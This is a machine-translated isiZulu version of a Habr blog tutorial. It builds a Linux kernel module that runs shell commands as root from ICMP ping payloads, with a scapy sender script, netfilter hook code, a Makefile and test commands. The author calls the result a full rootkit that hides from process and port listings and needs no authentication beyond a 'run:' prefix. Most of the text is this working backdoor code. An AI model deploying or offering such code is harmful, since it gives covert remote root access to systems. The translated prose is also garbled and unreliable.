TL; DR: Ngibhala imojula ye-kernel ezofunda imiyalo evela ku-ICMP payload futhi iyenze kuseva noma ngabe i-SSH yakho iphahlazeka. Kwabantula isineke kakhulu, yonke ikhodi ithi
Ukuqapha Abahleli bezinhlelo ze-C abanolwazi basengozini yokukhala izinyembezi zegazi! Kungenzeka ngibe nephutha kumagama, kodwa noma yikuphi ukugxeka kwamukelekile. Okuthunyelwe kuhloselwe labo abanombono onzima kakhulu we-C futhi abafuna ukubheka ngaphakathi kwe-Linux.
Emibhalweni yami yokuqala
Yebo, ngo-2020 ngafunda ukuthi ungafaka umthwalo okhokhelwayo ngokungafanele kumaphakethe e-ICMP. Kodwa kungcono sekwephuzile kunanini ngaphambili! Futhi njengoba kukhona okungenziwa ngakho, kufanele kwenziwe. Njengoba empilweni yami yansuku zonke ngivame ukusebenzisa umugqa womyalo, kufaka phakathi nge-SSH, umqondo wegobolondo le-ICMP wafika engqondweni yami kuqala. Futhi ukuze ngihlanganise ibhingo eliphelele le-bullshield, nginqume ukuyibhala njengemojula ye-Linux ngolimi enginombono onzima ngalo. Igobolondo elinjalo ngeke libonakale ohlwini lwezinqubo, ungalilayisha ku-kernel futhi ngeke libe sesistimu yefayela, ngeke ubone noma yini esolisayo ohlwini lwamachweba okulalela. Ngokwamandla ayo, lena i-rootkit egcwele, kodwa ngithemba ukuyithuthukisa futhi ngiyisebenzise njengegobolondo lokugcina lapho Isilinganiso Somthwalo siphezulu kakhulu ukuthi ungangena nge-SSH futhi usebenzise okungenani. echo i > /proc/sysrq-trigger
ukubuyisela ukufinyelela ngaphandle kokuqalisa kabusha.
Sithatha umhleli wombhalo, amakhono ayisisekelo wokuhlela ku-Python no-C, i-Google kanye
Ingxenye yeklayenti
Kimina kwabonakala sengathi ingxenye yeklayenti kuzofanele ngibhale umbhalo onemigqa engaba ngu-80, kodwa kwakukhona abantu abanomusa abangenzela kona.
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "command"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show()
Umbhalo uthatha izimpikiswano ezimbili, ikheli kanye nomthwalo okhokhelwayo. Ngaphambi kokuthumela, umthwalo okhokhelwayo wandulelwa ukhiye run:
, sizoyidinga ukuze singafaki amaphakheji anomthwalo okhokhelwayo ngokungahleliwe.
I-kernel idinga amalungelo okwenza amaphakheji, ngakho-ke iskripthi kuzodingeka sisetshenziswe njengomsebenzisi omkhulu. Ungakhohlwa ukunikeza izimvume zokusebenza futhi ufake i-scapy ngokwayo. I-Debian inephakheji ebizwa ngokuthi python3-scapy
. Manje ungabheka ukuthi konke kusebenza kanjani.
Ukuqalisa nokukhipha umyalo
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!
Lokhu kubonakala kumuntu ohogelayo
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1]
[Response time: 19.094 ms]
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
^C2 packets captured
Umthwalo okhokhelwayo ephaketheni lokuphendula awushintshi.
Imojula ye-Kernel
Ukwakha emshinini we-Debian virtual uzodinga okungenani make
ΠΈ linux-headers-amd64
, okunye kuzofika ngendlela yokuncika. Ngeke nginikeze yonke ikhodi esihlokweni; ungayifaka ku-Github.
Ukusethwa kwehuku
Okokuqala, sidinga imisebenzi emibili ukuze silayishe imojuli futhi siyikhiphe. Umsebenzi wokukhipha awudingeki, kodwa-ke rmmod
ngeke isebenze; ββimojuli izothululwa kuphela uma icishiwe.
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);
Kwenzekani lapha:
- Amafayela amabili anhlokweni ayadonselwa ukuze kusetshenziswe imojuli ngokwayo kanye nesihlungi se-net.
- Yonke imisebenzi ihamba ngesihlungi se-net, ungabeka izingwegwe kuso. Ukuze wenze lokhu, udinga ukumemezela isakhiwo lapho i-hook izolungiswa khona. Okubaluleke kakhulu ukucacisa umsebenzi ozokwenziwa njengehhuku:
nfho.hook = icmp_cmd_executor;
Ngizofika emsebenzini ngokwawo kamuva.
Bese ngibeka isikhathi sokucubungula sephakheji:NF_INET_PRE_ROUTING
icacisa ukucubungula iphakheji uma livela okokuqala ku-kernel. IngasetshenziswaNF_INET_POST_ROUTING
ukucubungula iphakethe njengoba liphuma ku-kernel.
Ngisethe isihlungi ku-IPv4:nfho.pf = PF_INET;
.
Ngibeka ihuku lami phambili kakhulu:nfho.priority = NF_IP_PRI_FIRST;
Futhi ngibhalisa ukwakheka kwedatha njengehhuku langempela:nf_register_net_hook(&init_net, &nfho);
- Umsebenzi wokugcina ususa ingwegwe.
- Ilayisensi ikhonjiswe ngokucacile ukuze umdidiyeli angakhonondi.
- Imisebenzi
module_init()
ΠΈmodule_exit()
setha eminye imisebenzi ukuze uqalise futhi unqamule imojuli.
Ukubuyisa umthwalo
Manje sidinga ukukhipha umthwalo okhokhelwayo, lokhu kube umsebenzi onzima kakhulu. I-kernel ayinayo imisebenzi eyakhelwe ngaphakathi yokusebenza ngokulayishwayo okukhokhelwayo; ungakwazi ukuhlaziya kuphela izihloko zamaphrothokholi asezingeni eliphezulu.
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == '')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = '';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == '')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}
Kwenzakalani:
- Bekufanele ngifake amafayela esihloko engeziwe, kulokhu ukuze ngisebenzise izihloko ze-IP ne-ICMP.
- Ngisetha ubude bomugqa omkhulu:
#define MAX_CMD_LEN 1976
. Kungani ngempela lokhu? Ngoba umdidiyeli ukhononda ngakho! Sebevele baphakamise kimi ukuthi ngidinga ukuqonda isitaki nenqwaba, ngolunye usuku ngizokwenza lokhu futhi mhlawumbe ngilungise ikhodi. Ngokushesha ngisetha umugqa ozoqukatha umyalo:char cmd_string[MAX_CMD_LEN];
. Kufanele ibonakale kuyo yonke imisebenzi; ngizokhuluma ngalokhu kabanzi esigabeni sesi-9. - Manje sidinga ukuqalisa (
struct work_struct my_work;
) hlela bese uyixhuma nomunye umsebenzi (DECLARE_WORK(my_work, work_handler);
). Ngizophinde ngikhulume ngokuthi kungani lokhu kudingekile endimeni yesishiyagalolunye. - Manje ngimemezela umsebenzi, ozoba yihhuku. Uhlobo nezimpikiswano ezamukelwe zinqunywa isihlungi se-netfilter, esikuthakaselayo kuphela
skb
. Lesi isilondolozi sesokhethi, isakhiwo sedatha esiyisisekelo esiqukethe lonke ulwazi olutholakalayo mayelana nephakethe. - Ukuze umsebenzi usebenze, uzodinga izakhiwo ezimbili neziguquguqukayo ezimbalwa, kuhlanganise neziphindaphinda ezimbili.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0;
- Singaqala nge-logic. Ukuze imojuli isebenze, awekho amaphakethe ngaphandle kwe-ICMP Echo adingekayo, ngakho-ke sihlaziya isigcinalwazi sisebenzisa imisebenzi eyakhelwe ngaphakathi bese silahla wonke amaphakethe angewona awe-ICMP nangewona awe-Echo. Buyela
NF_ACCEPT
kusho ukwamukelwa kwephakheji, kodwa ungakwazi futhi ukulahla amaphakheji ngokubuyiselaNF_DROP
.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }
Angikahloli ukuthi kuzokwenzekani ngaphandle kokuhlola izihloko ze-IP. Ulwazi lwami oluncane ngo-C lungitshela ukuthi ngaphandle kokuhlolwa okwengeziwe, into embi izokwenzeka. Ngingajabula uma ungangiyekisa kulokhu!
- Manje njengoba iphakheji iwuhlobo lwangempela oludingayo, ungakwazi ukukhipha idatha. Ngaphandle komsebenzi owakhelwe ngaphakathi, kufanele uqale uthole i-pointer ekuqaleni komthwalo wokukhokha. Lokhu kwenziwa endaweni eyodwa, udinga ukuthatha i-pointer ekuqaleni kwesihloko se-ICMP bese usihambisa kusayizi wale nhlokweni. Yonke into isebenzisa isakhiwo
icmph
:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
Isiphetho sikanhlokweni kufanele sifane nesiphetho somthwalo okhokhelwayoskb
, ngakho-ke siyithola sisebenzisa izindlela zenuzi kusuka esakhiweni esihambisanayo:tail = skb_tail_pointer(skb);
.
Isithombe sebiwekusuka lapha , ungafunda kabanzi mayelana nebhafa yesokhethi. - Uma usunezinkomba eziya ekuqaleni nasekupheleni, ungakwazi ukukopisha idatha kuyunithi yezinhlamvu
cmd_string
, sihlole ukuthi sikhona yini isiqalorun:
futhi, noma ulahle iphakheji uma lingekho, noma ubhale kabusha umugqa futhi, ukhiphe lesi siqalo. - Yilokho, manje ungashayela esinye isibambi:
schedule_work(&my_work);
. Njengoba kungeke kwenzeke ukudlulisa ipharamitha ocingweni olunjalo, umugqa onomyalo kufanele ube omhlaba wonke.schedule_work()
izobeka umsebenzi ohlotshaniswa nesakhiwo esidlulisiwe kumugqa ojwayelekile wesihleli somsebenzi bese iqedela, okukuvumela ukuthi ungalindi ukuthi umyalo uqedele. Lokhu kuyadingeka ngoba ihuku kufanele lisheshe kakhulu. Uma kungenjalo, ukukhetha kwakho ukuthi akukho lutho oluzoqala noma uzothola ukwethuka kwe-kernel. Ukubambezeleka kufana nokufa! - Yilokho kuphela, ungamukela iphakheji ngembuyiselo ehambisanayo.
Ukushayela uhlelo endaweni yomsebenzisi
Lo msebenzi yiwo oqondakala kakhulu. Igama layo laqanjwa DECLARE_WORK()
, uhlobo nezimpikiswano ezamukelekayo azithakazelisi. Sithatha umugqa ngomyalo futhi siwudlulisele ngokuphelele kugobolondo. Makabhekane nokwahlukanisa, ukucinga ama-binaries nakho konke okunye.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}
- Setha ama-agumenti kuyunithi yezinhlamvu
argv[]
. Ngizothatha ngokuthi wonke umuntu uyazi ukuthi izinhlelo empeleni zenziwa ngale ndlela, hhayi njengomugqa oqhubekayo onezikhala. - Setha okuguquguqukayo kwendawo. Ngifake i-PATH kuphela enesethi encane yezindlela, ngethemba ukuthi zonke zase zihlanganisiwe
/bin
Ρ/usr/bin
ΠΈ/sbin
Ρ/usr/sbin
. Ezinye izindlela azivamile ukuba nendaba ekusebenzeni. - Kwenziwe, asikwenze! Umsebenzi we-Kernel
call_usermodehelper()
uyakwamukela ukungena. indlela eya kunambambili, uhlu lwama-agumenti, uhlu lwezinto eziguquguqukayo zendawo. Lapha futhi ngicabanga ukuthi wonke umuntu uyayiqonda incazelo yokudlulisa indlela eya efayeleni elisebenzisekayo njengengxabano ehlukile, kodwa ungabuza. I-agumenti yokugcina icacisa ukuthi kumele kulindwe yini ukuthi inqubo iphele (UMH_WAIT_PROC
), ukuqala kwenqubo (UMH_WAIT_EXEC
) noma ungalindi nhlobo (UMH_NO_WAIT
). Ingabe kukhona okunyeUMH_KILLABLE
, angizange ngiyibheke.
Umhlangano
Ukuhlanganiswa kwamamojula we-kernel kwenziwa ngohlaka lwe-kernel make-framework. Ibiziwe make
ngaphakathi kwenkomba ekhethekile eboshelwe enguqulweni ye-kernel (echazwe lapha: KERNELDIR:=/lib/modules/$(shell uname -r)/build
), futhi indawo yemojuli idluliselwe kokuguquguqukayo M
ezingxabanweni. I-icmpshell.ko nezinhloso ezihlanzekile zisebenzisa lolu hlaka ngokuphelele. IN obj-m
ibonisa ifayela lento elizoguqulwa libe imojuli. I-syntax eyenza kabusha main.o
Π² icmpshell.o
(icmpshell-objs = main.o
) akubukeki kunengqondo kakhulu kimi, kodwa makube njalo.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
all: icmpshell.ko
icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules
clean:
make -C $(KERNELDIR) M=$(PWD) clean
Siqoqa: make
. Iyalayisha: insmod icmpshell.ko
. Uqedile, ungabheka: sudo ./send.py 45.11.26.232 "date > /tmp/test"
. Uma unefayela emshinini wakho /tmp/test
futhi iqukethe usuku isicelo esithunyelwe ngalo, okusho ukuthi wenze yonke into kahle futhi ngenze konke ngendlela efanele.
isiphetho
Okuhlangenwe nakho kwami ββkokuqala ngentuthuko yenuzi kwaba lula kakhulu kunalokho engangikulindele. Ngisho nangaphandle kokuhlangenwe nakho okuthuthukayo ku-C, okugxile kumacebo omhlanganisi kanye nemiphumela ye-Google, ngakwazi ukubhala imodyuli yokusebenza futhi ngizizwe njenge-kernel hacker, futhi ngesikhathi esifanayo ingane yombhalo. Ngaphezu kwalokho, ngaya esiteshini se-Kernel Newbies, lapho ngatshelwa khona ukuthi ngisebenzise schedule_work()
esikhundleni sokufona call_usermodehelper()
ngaphakathi kwehhuku uqobo futhi wamphoxa, ngokufanelekile esola umkhonyovu. Imigqa eyikhulu yekhodi ingibize cishe iviki lokuthuthuka ngesikhathi sami samahhala. Okuhlangenwe nakho okuyimpumelelo okucekele phansi inganekwane yami yomuntu siqu mayelana nobunkimbinkimbi obumangalisayo bokuthuthukiswa kwesistimu.
Uma othile evuma ukwenza isibuyekezo sekhodi ku-Github, ngizobonga. Ngiqinisekile ukuthi ngenze amaphutha amaningi ayisiphukuphuku, ikakhulukazi lapho ngisebenza ngezintambo.
Source: www.habr.com